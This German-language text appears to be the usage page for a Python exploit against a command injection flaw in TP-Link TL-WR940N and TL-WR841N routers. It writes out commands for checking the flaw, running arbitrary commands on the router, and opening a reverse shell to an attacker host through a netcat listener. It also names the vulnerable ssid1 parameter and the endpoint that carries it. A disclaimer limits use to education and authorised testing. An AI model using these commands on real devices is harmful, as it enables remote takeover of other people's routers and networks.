Python-Exploit für TP-Link TL-WR940N/TL-WR841N Command Injection Schwachstelle

Nutzungshinweise

1. Einfacher Sicherheitscheck:

   root@kitploit:~

   python tplink_exploit.py -t 192.168.1.1 -u admin -p admin
   

2. Eigenen Befehl ausführen:

   root@kitploit:~

   python tplink_exploit.py -t 192.168.1.1 -u admin -p admin -c "your_command_here"
   

3. Reverse Shell (zuerst Listener mit nc -lvnp 4444 einrichten):

   root@kitploit:~

   python tplink_exploit.py -t 192.168.1.1 -u admin -p admin --lhost YOUR_IP --lport 4444
   

Wichtige Hinweise:

• Diese Skripte dienen ausschließlich Bildungs- und Testzwecken
• Holen Sie immer die entsprechende Genehmigung ein, bevor Sie ein System testen
• Der Reboot-Befehl wird standardmäßig verwendet, da er nicht destruktiv und leicht überprüfbar ist
• Die Reverse Shell funktioniert möglicherweise nicht auf allen Firmware-Versionen, da sie von verfügbaren Binärdateien abhängt
• Einige Firmware-Versionen erfordern einen zufälligen Pfad in der URL, den das Skript automatisch zu erkennen versucht

Die Schwachstelle besteht aufgrund unzureichender Eingabebereinigung im ssid1-Parameter des Endpunkts /userRpm/WlanNetworkRpm.htm, was durch speziell gestaltete Anfragen eine Befehlsinjektion ermöglicht.